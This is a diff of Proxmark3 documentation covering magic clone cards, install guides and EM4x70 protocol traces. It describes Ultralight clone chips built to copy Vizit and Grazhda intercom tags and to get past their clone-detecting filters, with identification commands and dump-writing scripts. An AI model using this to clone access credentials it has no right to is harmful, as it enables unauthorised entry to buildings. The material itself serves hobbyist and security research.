-1358,19 +1541,19 @@ Could be manually validated with the configuration block value. ``` [usb] pm3 --> hf mf gdmcfg [+] Config... 85 00 00 00 00 00 00 5A 00 FF 00 5A 00 00 00 08 -[+] 85 00 .......................................... Magic wakeup disabled -[+] 00 ....................................... Magic wakeup style Gen1a 40(7)/43 -[+] 00 00 00 .............................. Unknown -[+] 00 ........................... Key B use allowed when readable by ACL -[+] 5A ........................ Block 0 Direct Write Enabled (CUID) -[+] 00 ..................... Unknown -[+] FF .................. MFC EV1 personalization: 4B UID from Block 0 -[+] 00 ............... Shadow mode disabled -[+] 5A ............. Magic auth enabled -[+] 00 ........... Static encrypted nonce disabled -[+] 00 ......... MFC EV1 signature disabled -[+] 00 ...... Unknown -[+] 08 ... SAK +[+] 85 00 ......................................... Magic wakeup disabled +[+] 00 ...................................... Magic wakeup style Gen1a 40(7)/43 +[+] 00 00 00 ............................. Unknown +[+] 00 .......................... Key B use allowed when readable by ACL +[+] 5A ....................... Block 0 Direct Write Enabled (CUID) +[+] 00 .................... Unknown +[+] FF ................. MFC EV1 personalization: 4B UID from Block 0 +[+] 00 .............. Shadow mode disabled +[+] 5A ........... Magic auth enabled +[+] 00 ........ Static encrypted nonce disabled +[+] 00 ..... MFC EV1 signature disabled +[+] 00 .. Unknown +[+] 08 SAK ``` ### Commands @@ -1545,9 +1728,9 @@ BCC1 Int LCK0 LCK1 UID is made of SN0..SN6 bytes -Computing BCC0 on UID 04112233445566: `analyse lcr -d 88041122` = `bf` +Computing BCC0 on UID 04112233445566: `analyse lrc -d 88041122` = `bf` -Computing BCC1 on UID 04112233445566: `analyse lcr -d 33445566` = `44` +Computing BCC1 on UID 04112233445566: `analyse lrc -d 33445566` = `44` Int is internal, typically 0x48 @@ -1853,121 +2036,6 @@ Anticol shortcut (CL1/3000): fails script run hf_mfu_magicwrite -h ``` -## UL series (RU) - -^[Top](#top) - -Custom chips, manufactured by iKey LLC for cloning Ultralight tags used in Visit intercoms. That leads to the non-standard for Ultralight chips tag version. - -### UL-Y - -^[Top](#top) - -Ultralight magic, 16 pages. Recommended for Vizit RF3.1 with markings "3.1" or "4.1". -Behavior: allows writes to page 0-2. - -#### Identify - -^[Top](#top) - -``` -hf mfu rdbl --force -b 16 -hf 14a raw -sct 250 60 -``` - -If tag replies with -`Cmd Error: 00` -`00 00 00 00 00 00 00 00` -then it is UL-Y. - -### ULtra - -^[Top](#top) - -Ultralight EV1 magic; 41 page. Recommended for Vizit RF3.1 with 41 page. -Behavior: allows writes to page 0-2. - -#### Identify - -^[Top](#top) - -``` -hf mfu info -... -[=] TAG IC Signature: 0000000000000000000000000000000000000000000000000000000000000000 -[=] --- Tag Version -[=] Raw bytes: 00 34 21 01 01 00 0E 03 -[=] Vendor ID: 34, Mikron JSC Russia -[=] Product type: 21, unknown -``` - -#### ULtra flavour 1 - -^[Top](#top) - -Could be identified by indirect evidence before writing - -* Initial UID: `34 D7 08 11 AD D7 D0` -* `hf mfu dump --ns` - - ``` - [=] 3/0x03 | CF 39 A1 C8 | 1 | .9.. - [=] 4/0x04 | B6 69 26 0D | 1 | .i&. - [=] 5/0x05 | EC A1 73 C4 | 1 | ..s. - [=] 6/0x06 | 81 3D 29 B8 | 1 | .=). - [=] 16/0x10 | 6A F0 2D FF | 0 | j.-. - [=] 20/0x14 | 6A F0 2D FF | 0 | j.-. - [=] 24/0x18 | 6A F0 2D FF | 0 | j.-. - [=] 38/0x26 | 00 E2 00 00 | 0 | .... <- E2, Virtual Card Type Identifier is not default - - ``` - -#### ULtra flavour 2 - -^[Top](#top) - -Could be identified by indirect evidence before writing - -* Initial UID: `04 15 4A 23 36 2F 81` -* Values in pages `3, 4, 5, 6, 16, 20, 24, 38` are default for that tag flavour - -### UL-5 - -^[Top](#top) - -Ultralight EV1 magic; 41 page. Recommended for Vizit RF3.1 with 41 page. -Created as a response to filters that try to overwrite page 0 (as a detection for [ULtra](#mifare-ultra) tags). - -Behavior: similar to Ultra, but after editing page 0 become locked and tag becomes the original Mifare Ultralight EV1 (except the tag version, which remains specific). - -**WARNING!** When using UL-5 to clone, write UID pages in inverse (from 2 to 0) and do NOT make mistakes! This tag does not allow reversing one-way actions (OTP page, lock bits). - -#### Identify - -^[Top](#top) - -``` -hf mfu info -... -TAG IC Signature: 0000000000000000000000000000000000000000000000000000000000000000 -[=] --- Tag Version -[=] Raw bytes: 00 34 21 01 01 00 0E 03 -[=] Vendor ID: 34, Mikron JSC Russia -``` - -After personalization it is not possible to identify UL-5. - -The manufacturer confirmed unpersonalized tags could be identified by first 3 bytes of UID: - -* `AA 55 39...` -* `AA 55 C3...` - -### UL, other chips - -**TODO** - -UL-X, UL-Z - ? - ## MIFARE Ultralight USCUID-UL ^[Top](#top) @@ -2051,9 +2119,9 @@ Possible tag wakeup mechanisms are: ^^^^ >> Gen1a mode (works with bitflip) ^^ >> Magic wakeup command (00 for 40-43; 85 for 20-23) ^^ >> Config available using regular mode (ON: A0) - ^^ >> Do not reply to 1B, making auth impossible - ^^ >> Do not enforce OTP properties (ON: A0) - ^^ >> Maximum memory configuration* + ^^ >> Auth type (00 = PWD mode, 0A = 2TDEA mode for UL-C) + ^^ >> CUID mode, allows writing to blocks 0-3 (ON: 0A) + ^^ >> Maximum memory configuration, please see below * ^^^^^^^^ ^^^^^^^^ >> Version info * This isn't a customizable value - it's a preset. So far: @@ -2088,24 +2156,24 @@ F1: 00000000 ^^^^^^^^ >> Unknown, usually always 00 F2: 000000BD - ^^^^^^ >> Unknown, usually always 00 - ^^ >> Unknown, usually always BD, possible tearing counter value? + ^^^^^^ >> Counter 0 + ^^ >> Tearing 0 F3: 000000BD - ^^^^^^ >> Unknown, usually always 00 - ^^ >> Unknown, usually always BD, possible tearing counter value? + ^^^^^^ >> Counter 1 + ^^ >> Tearing 1 F4: 000000BD - ^^^^^^ >> Unknown, usually always 00 - ^^ >> Unknown, usually always BD, possible tearing counter value? + ^^^^^^ >> Counter 2 + ^^ >> Tearing 2 F5: 00000000 ^^^^^^^^ >> Unknown, usually always 00 F6: 44000400 ^^^^ >> ATQA in byte reverse order. 4400 = ATQA of 0044 - ^^ >> Unknown, usually always set to 04. Changing this value also has something to do with the SAK value in the next byte - ^^ >> SAK, if previous byte set to 04 + ^^ >> SAK1, usually set to 04 to call for CL2 + ^^ >> SAK2, card uses this as SAK F7: 88AF0000 ^^ >> First byte of UID BCC calculation, for Ultralight family is always 88 per the datasheet @@ -2138,7 +2206,9 @@ No implemented commands at time of writing No implemented commands at time of writing ### Variations + ^[Top](#top) + | Factory configuration | Name | | --- | --- | | 850000A0 00000AC3 00040301 01000B03 | UL-11 | @@ -2148,6 +2218,237 @@ No implemented commands at time of writing | 850000A0 00000A5A 00040402 01001103 | NTAG215 | | 850000A0 00000AAA 00040402 01001303 | NTAG216 | +Variations of USCUID-UL, that were distributed in ex-USSR countries are known as UL-family. +Different variarions were targeted for copying different original tags + for bypassing of different filters. + +## UL-2 + +^[Top](#top) + +Sold on Russian market in variations with 20, 41 and 44 blocks. +All variations support direct write to block 0-2. + +### UL-2 (20 blocks) + +#### Characteristics + +^[Top](#top) + +* Configuration block value: `850000A000000AC30034210101000B03`. +* EV1 Version: `0034210101000B03`. + +#### Identify + +^[Top](#top) + +``` +[usb] pm3 --> hf 14a info +... +[+] ATS: 85 00 00 A0 00 00 0A C3 00 34 21 01 01 00 0B 03 [ 84 00 ] +``` + +### UL-2 (41 blocks) + +Default configuration for USCUID-UL with 41 blocks. Can be found in China by names UL-21 or Ultra (targeting Russian market). + +In China exists in versions with opened and locked configuration. +Could be used for intercoms Grazhda (UA) and Vizit (RU) with non-Micron chips (original chips have EV1 Version `0004030101000E03`). + +* Other names: + * Ultra (China) + * UL-21 (China) + +#### Characteristics + +^[Top](#top) + +* Configuration block value: `850000A000000A3C0004030101000E03`. +* EV1 Version: `0004030101000E03`. + +#### Identify + +^[Top](#top) + +``` +[usb] pm3 --> hf 14a info +... +[+] ATS: 85 00 00 A0 00 00 0A 3C 00 04 03 01 01 00 0E 03 [ C8 1D ] +``` + +### UL-2 (44 blocks) + +#### Characteristics + +^[Top](#top) + +* Configuration block value: `850000A000000A5A0034210101000E03`. +* EV1 Version: `0034210101000E03`. + +#### Identify + +^[Top](#top) + +``` +[usb] pm3 --> hf 14a info +... +[+] ATS: 85 00 00 A0 00 00 0A 5A 00 34 21 01 01 00 0E 03 [ F1 F3 ] +``` + +## UL-Y + +^[Top](#top) + +Variation based on NTAG215 config. +Created for copying 16-blocks Vizit tags. +Now there are well-known 2 variations, which differs only with EV1 Version. +Newer has *Micron Russia* version. + +### Characteristics + +^[Top](#top) + +* Configuration block value: `850000A0AA000A5A0000000000000000` or `850000A0AA000A5A0034210100000000`. +* EV1 Version: `0000000000000000` or `0034210100000000`. +* Has 16 blocks readable. +* Allows write to pages 0-2. +* Has next NTAG215-related configuration: + +``` +[=] 130/0x82 | 00 00 00 BD | 0 | ...� +[=] 131/0x83 | 04 00 00 10 | 0 | .... +[=] 132/0x84 | C0 05 00 00 | 0 | �... +[=] 133/0x85 | FF FF FF FF | 0 | .... // Password, will not be readable in normal conditions +``` + +### Identify + +^[Top](#top) + +``` +[usb] pm3 --> hf 14a info +... +[+] ATS: 85 00 00 A0 AA 00 0A 5A 00 00 00 00 00 00 00 00 [ D5 F9 ] +``` + +## Ultra (RU) + +^[Top](#top) + +Modification of [UL-2 (41 blocks)](#ul-2-41-blocks) for Vizit (RU) intercoms. +Suitable for tags with EV1 Version `0034210101000E03`. + +After communication to iKey LLC (importer of those tags to Russian market), new revisions, imported to Russia have closed config. + +### Characteristics + +^[Top](#top) + +* Configuration block value: `850000A000000A3C0034210101000E03`. +* EV1 Version: `0034210101000E03`. + +### Identify + +^[Top](#top) + +``` +[usb] pm3 --> hf 14a info +... +[+] ATS: 85 00 00 A0 00 00 0A 3C 00 04 03 01 01 00 0E 03 [ C8 1D ] +``` + +### Magic commands + +^[Top](#top) + +Use the script `hf_mfu_ultra.lua` to restore (write) dump to tag or clear previously written tag. + +Usage: +1. Restore dump to tag: + ``` + script run hf_mfu_ultra -f -k -r + ``` +2. Wipe tag (use it to prepare tag for restoring another dump): + ``` + script run hf_mfu_ultra -k -w + ``` +3. Show help: + ``` + script run hf_mfu_ultra -h + ``` + +Examples: +1. Restore dump to tag: + ``` + script run hf_mfu_ultra -f hf-mfu-3476FF1514D866-dump.bin -k ffffffff -r + ``` +2. Wipe tag: + ``` + script run hf_mfu_ultra -k 1d237f76 -w + ``` + +## UL-5 + +^[Top](#top) + +Variation of [Ultra](#ultra-ru) tag, which allows to change UID only once. + +After editing page 0 become locked and tag becomes the original Mifare Ultralight EV1 (except the tag version, which remains specific). + +Created as a response to Vizit (RU) filters that try to overwrite page 0 (as a detection for Ultra (RU) tags). + +**WARNING!** When using UL-5 to clone, write UID pages in inverse (from 2 to 0) and do NOT make mistakes! This tag does not allow reversing one-way actions (OTP page, lock bits). + +It was confirmed from importers to Russian and Ukrainian market (independently) that UL-5 is a variation of USCUID-UL. But so far it's unknown how to achieve that behaviors, because by default UL-5 has it's config locked. + +### Identify + +^[Top](#top) + +``` +hf mfu info +... +TAG IC Signature: 0000000000000000000000000000000000000000000000000000000000000000 +[=] --- Tag Version +[=] Raw bytes: 00 34 21 01 01 00 0E 03 +[=] Vendor ID: 34, Mikron JSC Russia +``` + +After personalization it is not possible to identify UL-5. + +The manufacturer confirmed unpersonalized tags could be identified by first 2 bytes of UID: + +* `AA 55...` + +### Magic commands + +^[Top](#top) + +Use the script `hf_mfu_ultra.lua` to restore (write) dump to tag. + +Usage: +1. Restore dump to tag: + ``` + script run hf_mfu_ultra -f -k -r + ``` +3. Show help: + ``` + script run hf_mfu_ultra -h + ``` + +Examples: +1. Restore dump to tag: + ``` + script run hf_mfu_ultra -f hf-mfu-3476FF1514D866-dump.bin -k ffffffff -r + ``` + +## UL, other chips + +** TODO ** + +* UL +* UL-X +* UL-Z + # DESFire ^[Top](#top) diff --git a/doc/md/Development/Makefile-vs-CMake.md b/doc/md/Development/Makefile-vs-CMake.md index 934e4b138..b561ef2d2 100644 --- a/doc/md/Development/Makefile-vs-CMake.md +++ b/doc/md/Development/Makefile-vs-CMake.md @@ -65,6 +65,7 @@ At the moment both are maintained because they don't perfectly overlap yet. | dep mbedtls | in_common | in_common | no sys lib: missing support for CMAC in def conf (btw no .pc available) | | dep python3 | opt, sys, < 3.8 & 3.8 | opt, sys, < 3.8 & 3.8 | | | python3 detection | pc | pkg_search_module | | +| force python3 version | `PYTHON3_PKGCONFIG=python-3.12` | `-DPYTHON3_PKGCONFIG=python-3.12` | | | `SKIPPYTHON` | yes | yes | | | dep pthread | sys | sys | | | pthread detection | **none** | **none** (1) | (1) cf https://stackoverflow.com/questions/1620918/cmake-and-libpthread ? | @@ -111,7 +112,7 @@ At the moment both are maintained because they don't perfectly overlap yet. | Feature | Makefile | Remarks | |-----|---|---| -| Platform choice | `PLATFORM=` | values: `PM3RDV4`, `PM3GENERIC`, `PM3ICOPYX` | +| Platform choice | `PLATFORM=` | values: `PM3RDV4`, `PM3GENERIC`, `PM3ICOPYX`, `PM3ULTIMATE` | | Platform size | `PLATFORM_SIZE=` | values: `256`, `512` | | Platform extras | `PLATFORM_EXTRAS=` | values: `BTADDON`, `FPC_USART_DEV` | | Skip LF/HF techs in the firmware | `SKIP_`*`=1` | see `common_arm/Makefile.hal` for a list | diff --git a/doc/md/Installation_Instructions/Linux-Installation-Instructions.md b/doc/md/Installation_Instructions/Linux-Installation-Instructions.md index d3cf2b9f4..ad96b3470 100644 --- a/doc/md/Installation_Instructions/Linux-Installation-Instructions.md +++ b/doc/md/Installation_Instructions/Linux-Installation-Instructions.md @@ -138,7 +138,7 @@ sudo zypper --gpg-auto-import-keys refresh && \ sudo zypper install cross-arm-none-eabi-gcc13 cross-arm-none-eabi-newlib ``` -Note that Bluez is not available on openSUSE so the native Bluetooth support won't be available in the client. +Note that Bluez is not available on openSUSE Leap so the native Bluetooth support won't be available in the client. ## On openSUSE Tumbleweed ^[Top](#top) diff --git a/doc/md/Installation_Instructions/ModemManager-Must-Be-Discarded.md b/doc/md/Installation_Instructions/ModemManager-Must-Be-Discarded.md index 5c9149826..2a6611659 100644 --- a/doc/md/Installation_Instructions/ModemManager-Must-Be-Discarded.md +++ b/doc/md/Installation_Instructions/ModemManager-Must-Be-Discarded.md @@ -47,12 +47,21 @@ On Archlinux: sudo pacman -R modemmanager ``` -# Solution 2: disable ModemManager +# Solution 2: mask ModemManager ^[Top](#top) ```sh sudo systemctl stop ModemManager sudo systemctl disable ModemManager +sudo systemctl mask ModemManager +``` +After doing this check if it has been masked with: +`systemctl status ModemManager` +If you'll get something like this, you've masked ModemManager and you will be ready to install and setup your pm3. +``` +○ ModemManager.service + Loaded: masked (Reason: Unit ModemManager.service is masked.) + Active: inactive (dead) ``` # Solution 3: use filtering udev rules diff --git a/doc/md/Installation_Instructions/Troubleshooting.md b/doc/md/Installation_Instructions/Troubleshooting.md index 14402b68f..079e4bf4a 100644 --- a/doc/md/Installation_Instructions/Troubleshooting.md +++ b/doc/md/Installation_Instructions/Troubleshooting.md @@ -29,6 +29,7 @@ Always use the latest repository commits from *master* branch. There are always - [Qt Session management error](#qt-session-management-error) - [found architecture 'x86\_64' required architecture 'arm64' error](#found-architecture-x86_64-required-architecture-arm64-error) - [wrong permissions on runtime directory /run/user/1000](#wrong-permissions-on-runtime-directory-runuser1000) + - [proxspace `file not found or locked` on Windows 11](#proxspace-file-not-found-or-locked-on-windows-11) ## `pm3` or `pm3-flash*` doesn't see my Proxmark @@ -360,4 +361,33 @@ export XDG_RUNTIME_DIR=/run/user/1000 or export XDG_RUNTIME_DIR=/var/run/user/1000 -``` \ No newline at end of file +``` + +## proxspace 'file not found or locked' on Windows 11 +^[Top](#top) + +if you receive an error "file not found or locked" for any operation that needs to write a file. + +The cause is that Windows locks down many folders as 'read only', and you can't easily change this setting. + +How to fix (use this at your own risk): + +``` + Open your Windows Settings Control Panel + Then select "Privacy and security" + Then select "Windows Security" + Then select "Virus & threat protection" + Then scroll down and select "Manage ransomware protection" + Then select "Allow an app through Controlled folder access" + Answer "Yes" to allow this app to make changes to your system + Then select "Add an allowed app" to select the proper "proxmark3.exe" in the client folder. + +Potentially also do: + Select "Recently blocked apps" + Then select the most recent "proxmark3.exe" by pressing the "+" next to it. + Then select "Close". + +Side note: +You may also be able to choose "Browse all apps" and find your specific proxmark3.exe in the client folder but +be sure to choose the proper location and specific file in case you have more than one stored on your PC somewhere. +``` diff --git a/doc/md/Installation_Instructions/Windows-Installation-Instructions.md b/doc/md/Installation_Instructions/Windows-Installation-Instructions.md index e56979bf5..89cf966ea 100644 --- a/doc/md/Installation_Instructions/Windows-Installation-Instructions.md +++ b/doc/md/Installation_Instructions/Windows-Installation-Instructions.md @@ -6,6 +6,7 @@ ## Table of Contents - [Windows Installation instructions](#windows-installation-instructions) - [Table of Contents](#table-of-contents) + - [Installing on WSL 2](#installing-on-wsl-2) - [Installing dev-environment with ProxSpace](#installing-dev-environment-with-proxspace) - [Video Installation guide](#video-installation-guide) - [Driver Installation ( Windows 7 )](#driver-installation--windows-7-) @@ -25,6 +26,8 @@ - [Done!](#done-1) + + There are three ways to install, build and use Proxmark3 on Windows: * Using Gator96100 **ProxSpace**, a package to assist in your Windows installation of MinGW @@ -34,6 +37,9 @@ There are three ways to install, build and use Proxmark3 on Windows: We have listed three ways to use these two setups (dev environment vs pre-compiled binaries) --- +## Installing on WSL 2 +^[Top](#top) +Installing on WSL 2 use this [installation readme](Windows-WSL2-Installation-Instructions.md). ## Installing dev-environment with ProxSpace ^[Top](#top) diff --git a/doc/md/Installation_Instructions/Windows-WSL2-Installation-Instructions.md b/doc/md/Installation_Instructions/Windows-WSL2-Installation-Instructions.md index cfc6cd01b..ab25bbcde 100644 --- a/doc/md/Installation_Instructions/Windows-WSL2-Installation-Instructions.md +++ b/doc/md/Installation_Instructions/Windows-WSL2-Installation-Instructions.md @@ -467,7 +467,7 @@ You must have Windows Terminal installed to use this script. 3. Make sure your Proxmark3 is plugged in, and it is detected in the Device Manager as a COM port. 4. Run **pm3_quick_startup_wsl2.bat** and accept the UAC prompt. The script auto detects and asks for admin privileges, so you don't have to right-click and select Run As Administrator. 5. It will open up 2 windows. The first one is Command Prompt where initializing commands will run, and you need to keep this window open. The second one is Windows Terminal, where your pm3 client will run. - +6. On some systems, you will occasionally see this error popping up: `usbipd: error: WSL kernel is not USBIP capable`. Use command `service udev restart` to suppress that error. ```batch @echo off @@ -514,6 +514,9 @@ REM -- Replace the following hardware IDs with your actual Proxmark3 ID. You can usbipd bind --hardware-id 9ac4:4b8f usbipd attach --auto-attach --hardware-id 9ac4:4b8f --wsl +REM -- Activate below line by removing the "REM --" prefix if you encounter this error: "usbipd: error: WSL kernel is not USBIP capable" +REM -- wsl -u root "modprobe vhci_hcd" + wsl -u root "service udev restart" wsl -u root "udevadm trigger --action=change" diff --git a/doc/md/Installation_Instructions/macOS-Homebrew-Installation-Instructions.md b/doc/md/Installation_Instructions/macOS-Homebrew-Installation-Instructions.md index 6c1ac3eca..f44fa6851 100644 --- a/doc/md/Installation_Instructions/macOS-Homebrew-Installation-Instructions.md +++ b/doc/md/Installation_Instructions/macOS-Homebrew-Installation-Instructions.md @@ -41,7 +41,7 @@ Alternatively, and only if the issue still persists after following the steps ab ## Apple Silicon (M1) Notes ^[Top](#top) -Ensure Rosetta 2 is installed as it's currently needed to run `arm-none-eabi-gcc` as it's delivered as a precombiled x86_64 binary. +Ensure Rosetta 2 is installed as it's currently needed to run `arm-none-eabi-gcc` as it's delivered as a precombiled x86_64 binary. **Note: Starting from v4.19552, it is no longer necessary to install Rosetta 2, Apple Silicons are already supported** If you see an error like: @@ -58,6 +58,20 @@ The fastest option is to run the brew command with the `arch -arm64` prefix i.e. Visual Studio Code still runs under Rosetta 2 and if you're developing for proxmark3 on an Apple Silicon Mac you might want to consider running the Insiders build which has support for running natively on Apple Silicon. +If you see an error when linking: +``` +ld: warning: ignoring file /usr/local/Cellar/.../libpython3.9.dylib, building for macOS-arm64 but attempting to link with file built for macOS-x86_64 +Undefined symbols for architecture arm64: + "_PyArg_UnpackTuple", referenced from: + _SwigPyObject_own in pm3_pywrap.o + ... +``` +your build environment has tried to link python across architectures. You can find or install python via homebrew (arm64) and inform the linker to use this +``` +brew install python@ +export LDFLAGS="-L/opt/homebrew/Cellar/python@/./Frameworks/Python.framework/Versions//lib/" && make +``` + ## Install Proxmark3 tools ^[Top](#top) @@ -161,7 +175,7 @@ These instructions will show how to setup the environment on OSX to the point wh 2. Install dependencies: ``` -brew install readline qt5 gd pkgconfig coreutils +brew install readline qt5 gd pkgconfig coreutils openssl brew install RfidResearchGroup/proxmark3/arm-none-eabi-gcc ``` 3. (optional) Install makefile dependencies: diff --git a/doc/md/Use_of_Proxmark/0_Compilation-Instructions.md b/doc/md/Use_of_Proxmark/0_Compilation-Instructions.md index d8dd7d5e0..1a291e9cd 100644 --- a/doc/md/Use_of_Proxmark/0_Compilation-Instructions.md +++ b/doc/md/Use_of_Proxmark/0_Compilation-Instructions.md @@ -10,6 +10,7 @@ - [Compile for generic Proxmark3 platforms](#compile-for-generic-proxmark3-platforms) - [Get the latest commits](#get-the-latest-commits) - [Clean and compile everything](#clean-and-compile-everything) + - [if there are different Python 3 packages installed](#if-there-are-different-python-3-packages-installed) - [if you got an error](#if-you-got-an-error) - [Install](#install) - [Flash the BOOTROM & FULLIMAGE](#flash-the-bootrom--fullimage) @@ -56,6 +57,15 @@ git pull make clean && make -j ``` +### if there are different Python 3 packages installed +^[Top](#top) + +It is possible to point to a different Python 3 package. For example, to build against Python 3.11: + +```sh +make clean && make -j PYTHON3_PKGCONFIG=python-3.11 +``` + ### if you got an error ^[Top](#top) @@ -107,6 +117,17 @@ or proxmark3 /dev/ttyACM0 --flash --unlock-bootloader --image /tmp/my-bootrom.elf --image /tmp/my-fullimage.elf ``` +## Updating SPI flash structure and contents (RDV4.x, some PM3 Easy variants) +^[Top](#top) + +For the devices equipped with external SPI flash memory chip in some cases it might be essential to update the memory structure as well as to upload new keys from the dictionaries. To do so execute following command inside the client: + +``` +[usb] pm3 --> script run init_rdv4 +``` + +For more details prease refer to [this doc](./2_Configuration-and-Verification.md). + ### The button trick ^[Top](#top) diff --git a/doc/md/Use_of_Proxmark/4_Advanced-compilation-parameters.md b/doc/md/Use_of_Proxmark/4_Advanced-compilation-parameters.md index e79863faa..55ca51687 100644 --- a/doc/md/Use_of_Proxmark/4_Advanced-compilation-parameters.md +++ b/doc/md/Use_of_Proxmark/4_Advanced-compilation-parameters.md @@ -61,11 +61,12 @@ For an up-to-date exhaustive list of options, you can run `make PLATFORM=`. Here are the supported values you can assign to `PLATFORM` in `Makefile.platform`: -| PLATFORM | DESCRIPTION | -|-----------------|--------------------------| -| PM3RDV4 (def) | Proxmark3 RDV4 | -| PM3GENERIC | Proxmark3 generic target | -| PM3ICOPYX | iCopy-X with XC3S100E | +| PLATFORM | DESCRIPTION | +|-----------------|-------------------------------| +| PM3RDV4 (def) | Proxmark3 RDV4 | +| PM3GENERIC | Proxmark3 generic target | +| PM3ICOPYX | iCopy-X with XC3S100E | +| PM3ULTIMATE | Proxmark3 Ultimate with XC2S50 | By default `PLATFORM=PM3RDV4`. @@ -140,6 +141,7 @@ Here are the supported values you can assign to `STANDALONE` in `Makefile.platfo | HF_MFCSIM | Simulate Mifare Classic 1k card storing in flashmem - Ray Lee | HF_MSDSAL | EMV Read and emulation - Salvador Mendoza | HF_REBLAY | 14A relay over BT - Salvador Mendoza +| HF_ST25_TEAROFF | Store/restore ST25TB tags with tear-off for counters - SecLabz | HF_TCPRST | IKEA Rothult ST25TA, Standalone Master Key Dump/Emulation - Nick Draffen | HF_TMUDFORD | Read and emulate ISO15693 card UID - Tim Mudford | HF_UNISNIFF | Combined 14a/14b/15 sniffer with runtime selection & extra save options diff --git a/doc/md/em4x70/arbitrary_lf_em_commands.md b/doc/md/em4x70/arbitrary_lf_em_commands.md new file mode 100644 index 000000000..40300c938 --- /dev/null +++ b/doc/md/em4x70/arbitrary_lf_em_commands.md @@ -0,0 +1,147 @@ +# arbitrary lf em commands + +Goals: +1. Improved logging of `lf em` commands and responses +2. Greater certainty in command sequences +3. Easier testing of new commands + +## Methodology + +This is documenting the actual commands used by existing code. Phases include: +* Document the existing command sequences +* Document the existing logging APIs +* Define small set of timing-sensitive functions as abstractions +* Implement the abstractions +* Add logging + +The goal is to improve logging and debugging, and allow easily testing new LF commands. + +## EM4x70 (aka ID48, aka Megamos) + +Only six command sequences currently used: + +#define EM4X70_COMMAND_ID 0x01 +#define EM4X70_COMMAND_UM1 0x02 +#define EM4X70_COMMAND_AUTH 0x03 +#define EM4X70_COMMAND_PIN 0x04 +#define EM4X70_COMMAND_WRITE 0x05 +#define EM4X70_COMMAND_UM2 0x07 + + + +### ID Command + +Wait for `LIW` (listen window), and start transmission at next `LIW`: + +source | bits | comment +----------|---------|--------- +tag | LIW | listen window sync +reader | `0b00` | RM +reader | `0b001` | CMD +reader | `0b1` | command parity bit +tag | HEADER | HEADER (0b1111'1111'1111'0000) +tag | 32-bits | ID (D31..D0) +tag | LIW | tag reverts to be ready for next command + +### UM1 Command + +source | bits | comment +----------|---------|--------- +tag | LIW | listen window +reader | `0b00` | RM +reader | `0b010` | CMD +reader | `0b1` | command parity bit +tag | 16-bits | HEADER +tag | 32-bits | UM1 data +tag | LIW | tag reverts to be ready for next command + +### UM2 Command + +source | bits | comment +----------|---------|--------- +tag | LIW | listen window +reader | `0b00` | RM +reader | `0b111` | CMD +reader | `0b1` | command parity bit +tag | 16-bits | HEADER +tag | 64-bits | UM2 data +tag | LIW | tag reverts to be ready for next command + + +### Auth Command + +source | bits | comment +----------|---------|--------- +tag | LIW | listen window +reader | `0b00` | RM +reader | `0b011` | CMD +reader | `0b0` | command parity bit +reader | 56-bits | RN +reader | 7-bits | Tdiv == 0b0000000 (always zero) +reader | 28-bits | f(RN) +tag | 16-bits | HEADER +tag | 20-bits | g(RN) +tag | LIW | tag reverts to be ready for next command + +### Write Word + +source | bits | comment +----------|---------|--------- +tag | LIW | listen window +reader | `0b00` | RM +reader | `0b101` | CMD +reader | `0b0` | command parity bit +reader | 4-bits | address/block to write +reader | 1-bit | address/block parity bit +reader | 25-bits | 5x5 data w/ row and column parity +tag | ACK | Wait (TWA) for ACK ... time to wait before searching for ACK +tag | ACK | Wait (WEE) for ACK ... time to wait before searching for ACK +tag | LIW | tag reverts to be ready for next command + + + + +### PIN Command + +source | bits | comment +----------|---------|--------- +tag | LIW | listen window +reader | `0b00` | RM +reader | `0b100` | CMD +reader | `0b1` | command parity bit +reader | 32-bits | ID of the tag +reader | 32-bits | PIN +tag | ACK | Wait (TWALB) for ACK ... time to wait before searching for ACK +tag | HEADER | DELAYED (TWEE) header ... time to wait before searching for header +tag | 32-bits | ID of the tag +tag | LIW | tag reverts to be ready for next command + + +### Abstraction required + +Possible items to abstract: +* bits to send: quantity of bits to be sent + storage containing those bits +* bits to receive: expected bits to receive + storage to receive those bits +* LIW: special-case handling to synchronize next command +* ACK: special-case handling to wait for ACK +* HEADER: special-case handling to wait for HEADER +* DELAY: ticks to delay before processing next item + +Special handling required for: +* `HEADER` --> 12-bits of zero, 4-bits of one. Consider a timeout: if tag disappears, no pulse found, while sometimes expect long time before HEADER appears (as in SEND_PIN). Read of header may miss the first few bits during transition, so need to special-case handling of this detection. +* `LIW` --> Timing-sensitive, syncs reader with tag ... reader must send during 32 period where chip's modulator is ON. +* `ACK` --> This is currently a time-to-delay. + Should this be a maximum time to wait for ACK? + Currently, could sit waiting for long time + if no tag present, as `check_ack()` has no timeout. + +```C +WaitTicks(EM4X70_T_TAG_TWA); +if (check_ack()) + WaitTicks(EM4X70_T_TAG_WEE); + if (check_ack()) + return PM3_SUCCESS; +``` + + + diff --git a/doc/md/em4x70/lf_em4x70_trace_notes.md b/doc/md/em4x70/lf_em4x70_trace_notes.md new file mode 100644 index 000000000..cd194918b --- /dev/null +++ b/doc/md/em4x70/lf_em4x70_trace_notes.md @@ -0,0 +1,1517 @@ +# EM4x70 Logging + +Full log of all bits sent, and all bits received, when +exercising each of the `lf em 4x70` commands. + +This can be used to ensure no regressions in what is sent +(and received) when modifying the `lf em 4x70` code. + +## Discovered Potential Bugs + +* [X] Last four bits of FRN appear to always be 0b1111 (0xF) instead of intended value 0b1100 (0xC)? + FIXED -- log buffer was too small ... needs to be 98 bits due to inclusion of two RM bits +* [ ] Semi-randomized application of parity to command: + * EM4X70_COMMAND_ID -- No parity + * EM4X70_COMMAND_UM1 -- No parity + * EM4X70_COMMAND_UM2 -- No parity + * EM4X70_COMMAND_WRITE -- Always with fifth parity bit added + * EM4X70_COMMAND_AUTH -- Always with fifth parity bit added + * EM4X70_COMMAND_PIN -- Always with fifth parity bit added + +## Comparison of cmds send with / without `--par` + +This section will only list the commands sent, and break them down into their components. +It's intended to be compact, and document what the code did as of 2024-05-01 (or thereabouts). +First will be log without, followed by log with `--par` option. + +### `lf em 4x70 info` + +Bits sent to the tag are IDENTICAL. +The `--par` option is IGNORED ... would have expected +to see CMD values of `0011`, `0101`, and `1111` instead! + +``` +[#] REM | RM | CMD | Addr | Data.... +[#] REM --------------|----|--------|--------|-------------- +[#] sent >>>: 6 bits:| 00 | 0001 | | +[#] sent >>>: 6 bits:| 00 | 0010 | | +[#] sent >>>: 6 bits:| 00 | 0111 | | +[#] REM --------------|----|--------|--------|-------------- +[#] sent >>>: 6 bits:| 00 | 0001 | | +[#] sent >>>: 6 bits:| 00 | 0010 | | +[#] sent >>>: 6 bits:| 00 | 0111 | | +[#] REM 